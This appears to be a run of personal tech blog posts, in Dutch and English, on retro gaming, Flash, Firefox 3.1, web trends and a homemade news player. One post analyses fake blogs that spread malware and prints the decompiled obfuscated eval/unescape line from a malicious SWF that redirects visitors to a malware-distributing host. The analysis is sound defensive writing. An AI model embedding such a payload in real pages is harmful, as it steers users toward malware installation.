futtta's blog

Héél lang geleden speelde ik Encounter op m’n Commodore 64 (ik heb er op zolder nog eentje staan, for old times sake) en dat zag er zo uit:

Er is overigens een port van c64 emulator Frodo voor Android en de Encounter-d64 is ook downloadbaar, nu nog een joystick op m’n Hero vijzen en we kunnen weer spelen! Anders moet ik die flash-based c64-emulator eens proberen?

So Adobe is working with Apple and “hope[s] to have Flash installed on over a million shipped devices by the end of the year“?

If you consider that:

1. The (ARM11-based) CPU in the current iPhone is said to lack the raw power to run CPU-intensive applications like Flash
2. Adobe has teamed up with ARM to optimize Flash on their processors and especially on the new ARM Cortex (which has been confirmed to be the CPU in the Palm Pré, which seems a great iPhone-competitor)
3. “shipped devices” seems to imply that Flash would come pre-installed
4. Apple sells more than 1 million devices each month (based on the past 2 quarters)

So we can expect a new ARM Cortex-based iPhone in time for the EOY holiday sales?

Naar aanleiding van de publicatie van de voorspellingen van 20 online experts door Netlash, zijn dit enkele van mijn verwachtingen voor het web in 2009;

• Uw job als (front-end) webdeveloper (of tester) wordt er door de grotere concurrentie tussen browsers niet eenvoudiger op. Ge zult niet alleen moeten ontwikkelen voor Internet Explorer (het nieuwe IE8, maar ook nog altijd voor het verwenste MSIE6 en voor versie 7 natuurlijk) en Firefox, maar ook voor Safari en Google Chrome. Samen zullen deze Webkit-gebaseerde browsers eind 2009 immers tot 15% van de browsermarkt pakken (nu al 9%), tegenover 25% voor Firefox (nu 21%) en pakweg 60% voor (MS)IE (nu nog 68%). Gelukkig zult ge wel iets meer kunnen terugvallen op standaarden (MSIE6 buiten beschouwing gelaten) en zullen componenten als JQuery, YUI of Dojo uw cross-browser inspanningen blijvend verlichten.
• Bling-developers mogen die dure cursussen Silverlight en JavaFX annuleren, Adobe blijft immers oppermachtig met Flash en -ondanks de gigantische hype in 2008 in veel mindere mate- met het nauw verwante Flex. 2009 zal overigens niet het jaar van Flash op mobile zijn. Een volwaardige versie van Flash voor GSM’s zal immers pas op het einde van het jaar uitkomen en zal dan nog enkel vlot werken op smartphones met ARM Cortex gebaseerde processoren, die nu ook nog niet te koop zijn.
• Webagencies staan voor een belangrijke uitdaging; “mobiel internet” groeit (mede dankzij krachtige Webkit-gebaseerde mobile browsers) zowel aan vraag- als aanbodkant en kosten-bewuste klanten zullen convergentie tussen hun mobiele en hun “gewone” website hoog op het verlanglijstje hebben staan. Mobiel web wordt dé groeipool, ge kunt dus maar beter mee zijn, zowel functioneel (“mobile usability“) als technisch (er is meer dan Mobile Safari, niet iedereen heeft een uitgebreid toetsenbord en device-dependant rendering is een moving target).

En voor een recessie tenslotte, heb ik in 2009 echt geen tijd. U ook niet, toch?

Firefox 3.1 is just around the corner and I’ve been using the beta’s for a couple of months now, but I didn’t really feel the urge to write about it up until now. But with things heating up between Google Chrome (already out of beta!), Safari and Firefox and with new versions of MS Internet Explorer and Opera in the making as well, one can’t really stay indifferent I guess?

First off; a non-exhaustive list of changes;

• support for <audio> and <video> elements (cfr. html5 draft specs), with ogg/vorbis, wav and ogg/theora compiled in
• lots of css-improvements
• Javascript performance benefits hugely from the new Tracemonkey-engine (just ran Sunspider and got a score of 2482.2ms, compared to approx. 5000ms in FF3 and 20000ms in FF2). Performance could also benefit from webworkers, which allow javascript-webdevelopers to background the execution of javascript.
• javascript-hooks to allow sites to do geolocation
• private browsing (porn-mode, finally!)
• and lots of smaller changes, such as selective tab restore after crashing (so you can kill the culprit which crashed your session), the possibility to move a tab to a new window, support for the “defer”-attribute in the script element, clickable hyperlinks in the source view, …

So if FF3.1 performs that great in Sunspider, does it really feel that much faster as well? To be honest; it doesn’t. Or at least, it didn’t, at first. But here’s a tip; if you’re a bit like me you’re bound to have a lot of extensions installed (and disabled and uninstalled and not compatible and …), you might have some forgotten tweak in your about:config and you probably have huge history and bookmark-databases. In that case do yourself a favor and start from scratch with a new profile and Firefox 3.1 will truly fly.

Off course not all is perfect. I don’t like the fact that tabs inadvertently get moved to a window of their own regularly. And Flash still crashes FF all too often, Firefox really needs something like the process isolation in Google Chrome and MS IE8′s loosely coupled IE, but that might be more than just a small CR.

All in all, with Firefox 3.1 the Mozilla-folks seem to have almost everything to fight the new kid in town. You can download the latest beta here and test for yourself. Let those browser-wars rage!

Yesterday I noticed that all of a sudden no less then 6 new sites linked to this small-time blog. Great huh? Except when checking out those blogs (all on google’s blogger-platform by the way), I quickly saw they were fake, attempting to trick users into installing malware on their windows PC’s.

Being the curious would-be hacker I am, I took the plunge to see how these guys go about trying to infect careless users;

1. the blogpost contains what seems to be a youtube movie, but which actually is just a animated gif with a link behind it
2. when clicking “the movie” to play, a swf-file is downloaded (blog.swf)
3. that blog.swf (which i downloaded on my linux-box and decompiled on the commandline using flare) contains this simple code:
   • this.getURL(‘javascript:eval(unescape(‘%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%20%3D%20%22%2F%2F%6D%30%38%62%2E%63%6F%6D%2F%69%6E%2E%63%67%69%3F%64%65%66%61%75%6C%74%22%3B’))’);
   • which translates roughtly into go to http://m08b.com/in.cgi?default
4. and that URL then takes you for a rollercoaster ride, going through several redirector-sites before arriving on a dark corner of the web where you’re told to install an activeX-component to watch a movie or a codec or sometimes even be told (the irony) to install antivirus software from some unknown company.

Some lessons learned;

• Flash is evil (or it can be) as it allows attackers to hide malicious code inside a nice looking (and binary) swf-file.
• Don’t trust the incoming links functionality google’s blogsearch provides (i switched back to technorati for the ‘binnenkomers’-widget on my blog)
• The ‘report web forgery‘ function in Firefox (under ‘help’) works great. Use it!

Ik heb een alternatieve “journaal-player” voor de VRT bij elkaar gehackt, want op deredactie.be vind ik mijn gading niet. Pas op, ik ben een fan van de VRT nieuwsdienst. Echt! Maar op deredactie.be staat er echt te veel om mijn aandacht te schreeuwen. Te veel video, te veel nieuwsgeticker op elke pagina, op heel de site. Als ik een gewoon artikeltje zou zijn, ik zou me ook bedeesd in een hoekje van de pagina terugtrekken, stilletjes hopend dat iemand met toch zou opmerken.

En het Journaal, dat komt er vreemd genoeg dus ook amper aan bod. Het Journaal, ge weet wel, dat programma op televisie waarin ze al die clipjes uit die videoband aan elkaar plakken? Een zekere “Sponzen Ridder” wilde onlangs online naar het VRT nieuws kijken (iets over banken ofzo?) en dat ging als volgt;

Dus ging ik naar www.vrtnieuws.net. Daar vond ik een band met voorbijzwevende flash-filmpjes, echter geen journaal. Ik klikte helemaal bovenin de pagina op “nieuws”. Niets. Ik klikte vijf centimeter lager drie centimeter meer naar rechts op “journaal 7″. Clipjes. Geen overzicht, niks. Voorbijschuivende filmpjes, zonder inzicht in de structuur, of een soort inhoudstafel. Toen ging ik naar www.vtm.be, klikte op “nieuwsuitzendingen” en kon mooi en selectief de verschillende onderdelen bekijken van de afgelopen week vol nieuwsuitzendingen.

Volledig mee eens! Op deredactie.be hoort een grote knop “Bekijk Het Journaal” en als je daarop klikt, dan kom je op een pagina waar niets anders op moet staan dan zo een player en een inhoudtafel. Maar omdat dat er dus niet staat, ben ik zelf aan de slag gegaan.

Wat extra info voor de “technisch begiftigden”;

• die verschrikkelijk opdringerige videoband bovenaan deredactie.be haalt een xml-bestand (atom) af om te weten wat er beschikbaar is voor publicatie (dank U firebug)
• dat atom-bestand verwijst naar programma-specifieke atom-files met daarin titel, linken naar flv, mp4 en wmv-bestanden in lage en hoge kwaliteit en naar een thumbnail
• met dat 2de atom-bestand maak ik een media-rss-bestand met per item de titel, link naar image en link naar één video-bestand (ik koos voor de mp4, standaard in lage kwaliteit)
• dat media-rss bestand wordt dan zonder verpinken ingelezen als playlist door de magnifieke JW FLV-player, die op die manier volautomatisch de flash-interface inclusief de “inhoudstafel” opbouwt.

Flash sucks! Really! It crashes my Firefox all too often (every few days, especially when behind our company proxy) and playing Flash movies consumes way too much CPU-power for my liking. Apparently Mozilla and Adobe are blaming each other with regard to some of these problems, but this really seems to be a Flash-issue;

• The problem (flash crashing) exists in Google Chrome as well, but thanks to Chrome’s isolated processes, it doesn’t freeze the browser, you’ll see the “sad plugin” instead of the swf-movie.
• Chrome’s task manager also clearly demonstrates the excessive CPU-usage of the Flash-plugin when playing an FLV-file (think youtube, dailymotion, …)
• The crashing problem is supposed to be gone in Flash 10 beta, so it seems Flash 9 specific

Moreover, I found a great howto on “Bort’s w3bl0g” about how to wrap Flash inside NSPluginWrapper in (Ubuntu) Linux, isolating Firefox from Flash-crashes. I’ll try that over the weekend, but it sure looks great!

But anyway; Adobe, get your shit together!